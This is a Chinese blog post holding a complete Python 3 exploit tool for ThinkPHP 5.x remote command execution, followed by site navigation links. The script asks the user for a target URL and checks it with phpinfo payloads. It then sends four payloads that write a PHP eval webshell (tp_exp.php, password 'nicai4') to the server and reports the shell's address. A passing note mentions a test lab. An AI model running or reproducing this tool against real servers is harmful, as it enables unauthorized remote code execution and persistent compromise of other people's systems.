python3编写ThinkPHP命令执行Getshell的方法


Posted in Python onFebruary 26, 2019

加了三个验证漏洞以及四个getshell方法

# /usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author: Morker
# @Email: [email]admin@nsf.me[/email]
# @Blog:  [url]http://nsf.me/[/url]
 
import requests
import sys
 
def demo():
  print(' _______ _   _    _  _____ _  _ _____ ')
  print(' |__  __| |  (_)   | | | __ \| | | | __ \ ')
  print('  | | | |__ _ _ __ | | _| |__) | |__| | |__) |')
  print('''  | | | '_ \| | '_ \| |/ / ___/| __ | ___/ ''')
  print('  | | | | | | | | | |  <| |  | | | | |   ')
  print('  |_| |_| |_|_|_| |_|_|\_\_|  |_| |_|_|   ')
  print()
  print('\tThinkPHP 5.x (v5.0.23 and v5.1.31 following version).')
  print('\tRemote command execution exploit.')
  print('\tVulnerability verification and getshell.')
  print('\tTarget: http://target/public')
  print()
class ThinkPHP():
  def __init__(self,web):
    self.web = web
    self.headers = {
    "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0",
    "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding" : "gzip, deflate",
    "Content-Type" : "application/x-www-form-urlencoded",
    "Connection" : "keep-alive"
    }
 
  def verification(self):
    i = 0
    s = 0
    verifications = ['/?s=index/\\think\Request/input&filter=phpinfo&data=1','/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1','/?s=index/\\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1']
    while True:
      if i == len(verifications):
        break
      else:
        url = self.web + verifications[i]
        req = requests.get(url=url,headers=self.headers)
        if 'phpinfo()' in req.text:
          s = 1
          break
        else:
          s = 0
        i += 1
    if s == 1:
      print("[+] There are vulnerabilities.")
      print()
      toshell = input("[*] Getshell? (y/n):")
      if toshell == 'y':
        self.getshell()
      elif toshell == 'n':
        sys.exit()
      else:
        sys.exit()
    else:
      print("[-] There are no vulnerabilities.")
 
  def getshell(self):
    getshells = [
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=tp_exp.php&vars[1][]=<?php @eval($_POST[nicai4]); ?>',
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20@eval($_POST[nicai4]);%20?>%27%20>>%20tp_exp.php',
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^<?php%20@eval($_POST[nicai4]);%20?^>%20>>tp_exp.php',
    '?s=index/\\think\\template\driver\\file/write&cacheFile=tp_exp.php&content=<?php%20eval($_POST[nicai4]);?>']
    shell = self.web + '/tp_exp.php'
    i = 0
    s = 0
    while True:
      if i == len(getshells):
        break
      else:
        url = self.web + getshells[i]
        req = requests.get(url=url,headers=self.headers)
        req_shell = requests.get(url=shell,headers=self.headers)
        if req_shell.status_code == 200:
          s = 1
          break
        else:
          s = 0
        i += 1
    if s == 1:
      print("[+] WebShell :%s PassWord :nicai4" % shell)
    else:
      print("[-] The vulnerability does not exist or exists waf.")
 
def main():
  demo()
  url = input("[*] Please input your target: ")
  run = ThinkPHP(url)
  run.verification()
 
if __name__ == '__main__':
  main()

注:图中的测试网址为在线漏洞环境,可自己去在线搭建测试。

环境地址:https://www.vsplate.com/

效果图:

python3编写ThinkPHP命令执行Getshell的方法

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
python处理文本文件实现生成指定格式文件的方法
Jul 31 Python
PYTHON 中使用 GLOBAL引发的一系列问题
Oct 12 Python
pyenv命令管理多个Python版本
Mar 26 Python
python中文件变化监控示例(watchdog)
Oct 16 Python
python获取代理IP的实例分享
May 07 Python
Python3.5面向对象与继承图文实例详解
Apr 24 Python
django 通过URL访问上传的文件方法
Jul 28 Python
使用Python爬虫库requests发送表单数据和JSON数据
Jan 25 Python
numpy库ndarray多维数组的维度变换方法(reshape、resize、swapaxes、flatten)
Apr 28 Python
Keras - GPU ID 和显存占用设定步骤
Jun 22 Python
Python3爬虫中识别图形验证码的实例讲解
Jul 30 Python
Python 实现PS滤镜中的径向模糊特效
Dec 03 Python
初探利用Python进行图文识别(OCR)
Feb 26 #Python
Python编写合并字典并实现敏感目录的小脚本
Feb 26 #Python
Python实现监控Nginx配置文件的不同并发送邮件报警功能示例
Feb 26 #Python
利用python实现对web服务器的目录探测的方法
Feb 26 #Python
python selenium 弹出框处理的实现
Feb 26 #Python
python实现学员管理系统
Feb 26 #Python
python实现电子产品商店
Feb 26 #Python
You might like
PHP入门速成教程
2007/03/19 PHP
用来解析.htpasswd文件的PHP类
2012/09/05 PHP
div li的多行多列 无刷新分页示例代码
2013/10/16 PHP
10个超级有用值得收藏的PHP代码片段
2015/01/22 PHP
PHP中Session和Cookie是如何操作的
2015/10/10 PHP
基于jquery的关于动态创建DOM元素的问题
2010/12/24 Javascript
js模拟C#中List的简单实例
2014/03/06 Javascript
jquery实现的鼠标下拉滚动置顶效果
2014/07/24 Javascript
javascript弹出拖动窗口
2015/08/11 Javascript
js模拟淘宝网的多级选择菜单实现方法
2015/08/18 Javascript
Bootstrap警告框(Alert)插件使用方法
2017/03/21 Javascript
jquery实现提示语淡入效果
2017/05/05 jQuery
JavaScript 完成注册页面表单校验的实例
2017/08/19 Javascript
vue中简单弹框dialog的实现方法
2018/02/26 Javascript
JavaScript+Canvas实现彩色图片转换成黑白图片的方法分析
2018/07/31 Javascript
js监听html页面的上下滚动事件方法
2018/09/11 Javascript
Python实现FTP上传文件或文件夹实例(递归)
2017/01/16 Python
PyQt5 QSerialPort子线程操作的实现
2018/04/21 Python
深入浅析Python2.x和3.x版本的主要区别
2018/11/30 Python
Python操作json的方法实例分析
2018/12/06 Python
浅谈python3.x pool.map()方法的实质
2019/01/16 Python
解决django中ModelForm多表单组合的问题
2019/07/18 Python
python 怎样将dataframe中的字符串日期转化为日期的方法
2019/09/26 Python
Python箱型图绘制与特征值获取过程解析
2019/10/22 Python
flask 实现token机制的示例代码
2019/11/07 Python
完美解决pycharm导入自己写的py文件爆红问题
2020/02/12 Python
Python pytesseract验证码识别库用法解析
2020/06/29 Python
采用专利算法搜索最廉价的机票:CheapAir
2016/09/10 全球购物
加拿大高尔夫超市:Golf Town
2018/01/12 全球购物
英国最大的在线快递公司之一:ParcelHero
2019/11/04 全球购物
生产车间主管岗位职责
2013/12/28 职场文书
企业开业庆典答谢词
2015/01/20 职场文书
工作保证书怎么写
2015/02/28 职场文书
世界文化遗产导游词
2019/08/07 职场文书
python中的plt.cm.Paired用法说明
2021/05/31 Python
Nginx的gzip相关介绍
2022/05/11 Servers